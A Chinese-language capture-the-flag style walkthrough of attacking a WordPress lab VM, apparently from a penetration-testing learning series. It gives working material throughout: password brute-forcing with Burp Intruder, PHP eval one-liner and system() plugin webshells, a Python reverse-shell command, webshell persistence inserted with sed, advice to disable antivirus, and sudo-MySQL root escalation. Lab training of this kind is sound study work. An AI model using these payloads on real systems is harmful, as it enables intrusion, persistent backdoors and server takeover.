[Hack实战]-4-靶机红队攻防实验
引言
中等难度,靶机红队攻防实验#第4篇,主要涉及Wordpress目录探测,管理员密码暴力破解,一句话木马应用,BurpSuite的截断重发等。
文章目录
0×1.环境介绍
攻击主机与靶机放在VirtualBox虚拟机的Host-only下
kali主机在VirtualBox虚拟机中,第一块网卡配置成NAT(用于联网更新软件),第二块网卡配置成Host-Only(用于和靶机通讯)
重点:kali主机需要删除/etc/NetworkManager/system-connections/目录下面所有配置文件,否则无法两块网卡同时启用
#使用root权限,删除system-connections目录中所有配置文件,这样kali的双网卡就能同时启动了
#如果不这样做,很可能出现一块网卡不能启动的问题
rm -rf /etc/NetworkManager/system-connections/*
攻击Kali主机Host-Only网卡IP:192.168.56.3
攻击主机与靶机在同一个Host-Only网段192.168.56.0/24
0×2.实战命令
下面的所有命令都使用root用户执行,如果是普通用户,请在命令前面添加sudo,
● 局域网发现
#使用nmap做主机发现
nmap -sn 192.168.56.0/24
#-sn通过发送多种探测数据包(如ICMP Echo Request、TCP SYN到端口443、TCP ACK到端口80等)判断目标主机是否响应。
#若主机在线,会返回对应协议的数据包(如ICMP Echo Reply或TCP RST)
#若目标主机与扫描设备在同一局域网,nmap会优先发送ARP请求(Address Resolution Protocol),通过MAC地址解析快速判断主机状态
● 三层端口扫描+服务探测
#假设上一步探测到的靶机ip是192.168.56.7
nmap -p- 192.168.56.7
nmap -p80 -sV 192.168.56.7
● 对Web服务做路径探测
#除了dirsearch,feroxbuster也能做路径探测,kali默认没有安装
apt update
apt install feroxbuster
#feroxbuster路径发现工具默认会调用/usr/share/seclists中的字典文件
#在kali中seclists并没有默认安装
apt install seclists
#开始路径探测
feroxbuster --url http://192.168.56.7
#可以指定字典文件
feroxbuster --url http://192.168.56.7 -w /usr/share/dirb/wordlist/common.txt
#在Kali Linux系统中,/usr/share/dirb/wordlists目录主要用于存放Dirb工具的专用字典文件,这些字典主要用于目录枚举、路径探测等场景。
扫描发现了http://192.168.56.7/wordpress目录 当我们用浏览器打开这个页面的时候,发现加载十分的缓慢,这个加载缓慢肯定是有原因的,我们用burpsuite打开看一下,设置firefox的proxy指向burpsuite的8080端口,然后刷新http://192.168.56.7/wordpress页面,在proxy的HTTP history选项卡中,发现在访问http://192.168.56.7/wordpress的时候,给我们返回的Response里面,在代码中嵌入了大量的192.168.159.145这个地址,因为这个地址无法正常访问,导致了资源加载的缓慢;
而通过源码不难判断,这台靶机原来的ip地址应该是192.168.159.145这个地址,只不过作者应该是有意将这个地址写死在了代码里面,所以我们现在需要需要使用burpsuite的请求替换功能,将这些错误的地址请求全部替换成现在这台靶机的ip地址,也就是192.168.56.7这个地址
● burpsuite请求替换功能
#打开BurpSuite的Match and Replace选项卡
Proxy>Options>Match and Replace
#因为192.168.159.145这个地址是我们尝试Get http://192.168.56.7/wordpress页面时
#从服务端向我们的浏览器返回的数据包中携带的
#所以我们需要替换的是返回的数据包包头和返回的数据包内的IP地址
#Header替换
add>type Response header
Match 192.168.159.145
Replace 192.168.56.7
#Body替换
add>type Response body
Match 192.168.159.145
Replace 192.168.56.7
通过上面的设置之后,再次刷新页面,就能够快速打开,看到完整页面内容了,然后对页面做一个简单的信息收集,对输入框做一个SQL注入测试,发现并没有明显的漏洞。
打开http://192.168.56.7/wordpress/admin后台页面,通过wordpress后台手工的登录测试,可以发现admin这个默认的管理员名称。
● burpsuite进行wordpress后台密码爆破
#打开burpsuite流量拦截功能
proxy>Intercept>Intercept is on
#使用admin这个用户名在wordpress后台提交一个错误的密码
#将捕获的数据包发送到Intruder
#使用Intruder的数据重放能力进行暴力破解
#将密码字段add成一个数据的替换点再选择Intruder中的Payloads功能
1.将Payload type设置成Runtime file
#Runtime file需为文本文件,每行包含一个字符串,支持任意字符组合
#将Payload字典设置为runtime类型主要是为了动态加载大文件字典
#避免一次性将全部内容加载到内存中导致内存溢出或性能下降
2.Payload Options设置中选择密码字典文件
(选择的文件路径不能包含中文)
#superwordlist中包含的对wordpress密码破解字典
MidPwds.txt
3.Start attack
#爆破出来 用户名 admin 密码 adam14
● Wordpress后台提权的三种常规思路
1,使用图片文件上传功能(Media)
如果目标的wordpress版本存在漏洞,可以通过图片上传功能直接上传webshell
2,修改现有模板文件,插件文件,在例如404文件中,添加一句话木马
通过样式(Appearance>Theme Editor)编辑>404 Template
3,自定义一个shell插件上传安装激活(Activate Plugin)
● 一句话木马和自制Wordpress插件
#一句话木马,连接密码是hkmm
<?php eval($_POST['hkmm']);?>
#php代码文件内
eval($_POST['hkmm']);
#自制shell插件
vim hkmm.php
<?php
/**
* Plugin Name: Hacker cute girl's playground
* Plugin URI: https://space.bilibili.com/3494364789607153
* Description: WP Hacker cute girl's playground
* Version: 1.0
* Author: hkmm
* Author URI: https://space.bilibili.com/3494364789607153
* License: https://space.bilibili.com/3494364789607153
*/
if(isset($_GET['hkmm']))
{
system($_GET['hkmm']);
}
?>
#这段PHP代码的功能是通过GET参数动态执行系统命令,但存在严重的安全风险。以下是详细解析:
#参数检测
if(isset($_GET['hkmm'])):检查URL中是否存在名为hkmm的GET参数。
若存在,isset()返回true,否则为false。
#命令执行
system($_GET['hkmm']):若hkmm参数存在,使用system()函数直接执行该参数的值。例如:
访问http://example.com/script.php?hkmm=ls会列出当前目录文件。
访问http://example.com/script.php?hkmm=whoami会返回服务器用户名。
● wordpress插件上传
#wordpress插件需要是zip格式
zip hkmm.zip hkmm.php
#wordpress插件路径
/wordpress主目录/wp-content/plugins/
#hkmm.php调用方法
/wordpress主目录/wp-content/plugins/s.php?hkmm=id
/wordpress主目录/wp-content/plugins/s.php?hkmm=ls
/wordpress主目录/wp-content/plugins/s.php?hkmm=which nc
http://192.168.56.7/wordpress/wp-content/plugins/hkmm.php?hkmm=ls%20/usr/bin%20|grep%20python
http://192.168.56.7/wordpress/wp-content/plugins/hkmm.php?hkmm=ls /usr/bin | grep python
● 使用python获得反弹shell
#kali监听
nc -nvlp 2333
#既然目标机器包含python3,那么就用python3获得反弹shell
http://192.168.56.7/wordpress/wp-content/plugins/hkmm.php?hkmm=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.3",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
● 使用msf获得反弹shell
#需要知道目标wordpress的管理员用户名密码
#反弹shell之msf,启动msf
msfdb run
#查找wordpress反弹shell相关模块
search wordpress admin_shell
#查找出来的模块,可以使用“use 模块前的ID”来调用模块
use 0
#配置参数
show options
#管理员密码
set PASSWORD adam14
#靶机IP
set RHOSTS 192.168.56.7
#wordpress目录
set TARGETURI /wordpress
#管理员用户名
set USERNAME admin
#如果本地有多块网卡,设置用本地那块网卡连接
set LHOST 192.168.56.7
run #执行
shell #得到meterpreter进入shell环境
!!!(缺点,及其不稳定,部分命令无法正常使用,不推荐)!!!
● 巩固shell
当我们拿下一个shell之后,一定要想办法巩固shell,最少能够有2~3种shell连接方式。
#通过python3获得反弹shell之后,可以修改404文件再嵌入一句话木马
#模板文件位置
/var/www/html/wordpress/wp-content/themes
#可以在后台查看使用的是哪个模板,然后修改对应模板的404文件
/var/www/html/wordpress/wp-content/themes/twentytwentyone/404.php
#在没有办法使用vim的不完整反弹shell中,利用sed插入一句话木马
#在404.php文件的get_header();上面插入一行
sed -i '/get_header();/i\eval($_POST['ant']);' 404.php
#如果是要在get_header();之后插入一句话,用/a参数
sed -i '/get_header();/a\eval($_POST['ant']);' 404.php
● 将功能不全的反弹shell升级成完整功能shell的方法
#如果对应主机上的shell的交互功能不完整,可以使用下面的方法完善交互功能
(仅适用于bashshell)
#查看当前使用的shell
echo $SHELL
#将kali的zsh shell更改成bash
chsh -s /bin/bash
#先使用反弹shell连接到nc
#按ctrl+z将kali的nc连接放到后台,依次输入下面的指令
stty raw -echo
fg
ls
export SHELL=/bin/bash
export TERM=screen
stty rows 38 columns 116
reset
#这些操作通过优化终端环境配置和启用交互式Shell特性,使反弹的远程Shell支持代码自动补齐功能。以下是具体解析:
stty raw -echo
👉 关键修复命令:
stty raw:将终端设置为原始模式(禁用缓冲和特殊字符处理,如 Ctrl+C)。
-echo:禁用输入回显(避免按键回显混乱)。
fg
👉 将后台挂起的反弹 Shell 会话恢复到前台(fg = foreground)。
ls
👉 执行 ls 命令验证终端功能是否正常(非必须,但可测试交互性)。
export SHELL=/bin/bash
👉 强制指定当前 Shell 类型为 Bash(覆盖某些环境中的错误配置)。
export TERM=screen
👉 设置终端类型为 screen,兼容性更好(支持更多终端功能,如颜色、光标移动)。
stty rows 38 columns 116
👉 手动指定终端的行数和列数,使其与本地终端实际尺寸匹配(可通过 stty size 查看本地值)。
reset
👉 重置终端,应用所有配置变更并清除显示异常。
使用上述方法修复之后,就能够使用完整的终端功能了,包括命令补齐,vim命令等。
● 使用AntSword连接一句话木马
#在启用AntSword之前,如果是windows,一定要先关闭病毒与威胁防护的实时保护功能
#启动菜单-设置-隐私与安全-windows安全中心-病毒与威胁防护(设置)-管理设置-实时保护(关掉)
#否则无法打开下载AntSword的关键模块
#然后使用AntSword连接藏有一句话木马的文件即可
http://192.168.56.7/wordpress/wp-content/themes/twentytwentyone/404.php
● 利用数据库提权
#查看wordpress下的wp-config.php能够查看到数据库的用户名和密码
#查看系统的/etc/passwd文件,发现名为wpadmin的用户
#使用数据库root密码尝试登录wpadmin的用户(失败)
#尝试用wp-config.php中的数据库用户名和密码登录数据库(失败)
mysql -u admin -p Wp_Admin#123 -D wordpress
#尝试用之前破解出来的wordpress管理员后台密码adam14登录wpadmin(成功)
#通过新用户的sudo -l命令查看(突破口),发现wpadmin可以使用sudo命令root权限访问数据库
#使用sudo root权限登录数据库,密码任然是admin web密码
#尝试数据库中执行system命令,看看当前数据库是否允许执行system命令
system id
#因为我们是使用root权限打开的数据库
#所以可以使用system命令执行bash,就会在当前进程下面生成一个子进程,因为其父进程拥有root权限
#所以创建子进程继承了父进程的权限,从而我们获得了一个拥有root权限的bash shell
\! /bin/bash
system /bin/bash
0×3.视频演示
点击下方视频标题,可以进入B站观看高清版本
【第31天】渗透测试实战#5-大1女新生挑战一年精通网络安全-渗透测试-红队渗透-安全攻防-靶机攻防-渗透实战